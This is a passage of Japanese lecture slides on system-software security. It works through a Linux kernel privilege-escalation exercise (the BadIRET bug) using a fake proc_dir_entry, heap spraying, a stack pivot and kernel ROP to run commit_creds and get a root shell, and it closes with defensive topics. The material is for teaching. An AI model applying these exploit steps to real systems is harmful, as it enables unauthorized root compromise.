    ▪ ただしLinuxではIDTがRead Onlyに設定されている:( ▪ Intel SMEPによってカーネル空間から直接ユーザー空間のコードへ jumpする事を防ぐ ◦ カーネル内ROP(Return Orietend Programming) ▪ カーネルの実行バイナリ (e.g. vmlinux)内のROP gadgetを利用 ▪ カーネル空間内のコードを実行するため SMEP bypassが可能 ▪ Stack pivotでカーネルスタックと攻撃者が用意したユーザースタックを交換 ▪ カーネル内のgadgetを積んでROP実行(事前課題 part2参照) ▪ ROPで権限昇格またはCR4を操作してSMEPを切る
  67. 任意コード実行へ proc_iops subdir = 0x00XXXX FAKE_PROC_DIR_ENTRY proc_root Usermode memory Kernelmode

    memory 0を書き込んでユーザー空間アドレスへ 0xffffXXXX… -> 0x0000XXXXX 0xffff800000000000 〜 0 〜 0x00007fffffffffff FAKE_IOPS ROP gadgets open(“/proc/XXX”) 1. proc_root.subdirのアドレスを攻撃者が用 意した FAKE_PROC_DIR_ENTRYに差し替 える 2. FAKE_PROC_DIR_ENTRYは FAKE_IOPS を指すように調整 3. FAKE_IOPSはカーネル内のROP gadget を指す。 4. xchg %rax(=FAKE_IOPS) %rsp 5. commit_cred(prepare…) iretでshellへ(事前課題part2参照) shell
  68. 演習4 カーネルエクスプロイト(権限昇格) • currentがGSレジスタからオフセットいくつでアクセスされている確認 $ (gdb) disas do_general_protection 0xffffffff816334b0 <+0>:

    call 0xffffffff8163a880 <__fentry__> 0xffffffff816334b5 <+5>: push rbp …. 0xffffffff816334ce <+30>: mov rbx,QWORD PTR gs:0xb800 • proc_rootのアドレスを確認 $ sudo cat /proc/kallsyms | grep ‘ proc_root$’
  69. 演習4 カーネルエクスプロイト(権限昇格) • struct proc_dir_entryのメンバを確認 $ cd linux-3.12 $ gedit

    fs/proc/internal.h $ gedit include/linux/fs.h • proc_dir_entry.proc_iopsのオフセット確認 • proc_dir_entry.subdirのオフセット確認 include/linux/types.h http://elixir.free-electrons.com/linux/v3.12/ident/
  70. 演習4 カーネルエクスプロイト(権限昇格) • proc_root.subdirの上位5byteを0埋め • 下位3byte(16MB)は不明なため4096~2^24までスプレー ◦ 0~2^24じゃない理由はLinuxではアドレス0にはマップできないため(4Kの2ページ目4096〜) • FAKE_IOPS->update_timeとlookup関数ポインタをカーネル内のROP

    gadgetに変更 • FAKE_PROC_DIR_ENTRY->nameは適当な名前で”A”など。 • open(“/proc/A”)を実行するとupdate_time、lookupが順に呼ばれて発火
  71. 演習4 カーネルエクスプロイト(権限昇格) • カーネル内のgadgetに飛んでStack Pivotを行う • xchg %eax, %espに飛ぶと.... ◦

    スタックがFAKE_IOPSに設定される。(しかし現在トップはlookupに設定したgadgetアドレス) ◦ 飛んだ後スタックを少しずらしましょう $ ./rp-lin-x64 --file=~/linux-3.12/vmlinux --rop=3 --unique xchg %esp, %eax (rax == FAKE_IOPS) FAKE_IOPS->memberの呼び出しは以下のような命令になっている。 %rax=FAKE_IOPS; call OFFSET(%rax); // call FAKE_IOPS->lookup
  72. 演習4 カーネルエクスプロイト(権限昇格) • Stack Pivotした後一つ目のROP gadgetでスタックを下げる • スタックがFAKE_IOPSの下にmmapしておいたROP gadgetまで移動 ◦

    ここに事前課題2で用意したROP gadgetを設置 ◦ commit_cred(prepare(0))が実行されてroot化 add $N, %rsp; ret をFAKE_IOPSの先頭に置いておく。
  73. 演習4 カーネルエクスプロイト(権限昇格) https://blogs.bromium.com/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

  74. まとめ システムソフトウェアに対する攻撃と対策

  75. システムソフトウェアに対する攻撃と対策 • ソフトウェアあるところに脆弱性あり ◦ OS(カーネル)の脆弱性を利用した攻撃 ◦ 仮想マシン(ハイパーバイザ)の脆弱性を利用した攻撃 ◦ ファームウェアの脆弱性を利用した攻撃 •

    コアなレイヤーでの脆弱性発見、対策技術 ◦ 脆弱性をどうやって見つける? -> ファジング、Symbolic Execution、 特徴量検出.... ◦ 攻撃をどうやって緩和する? -> Kernel Self Protection, Sanitizer…. ◦ 脆弱性を減らすには? セキュアなシステムソフトウェア開発 -> SMT, SAT solver, 言語パラダイ ム...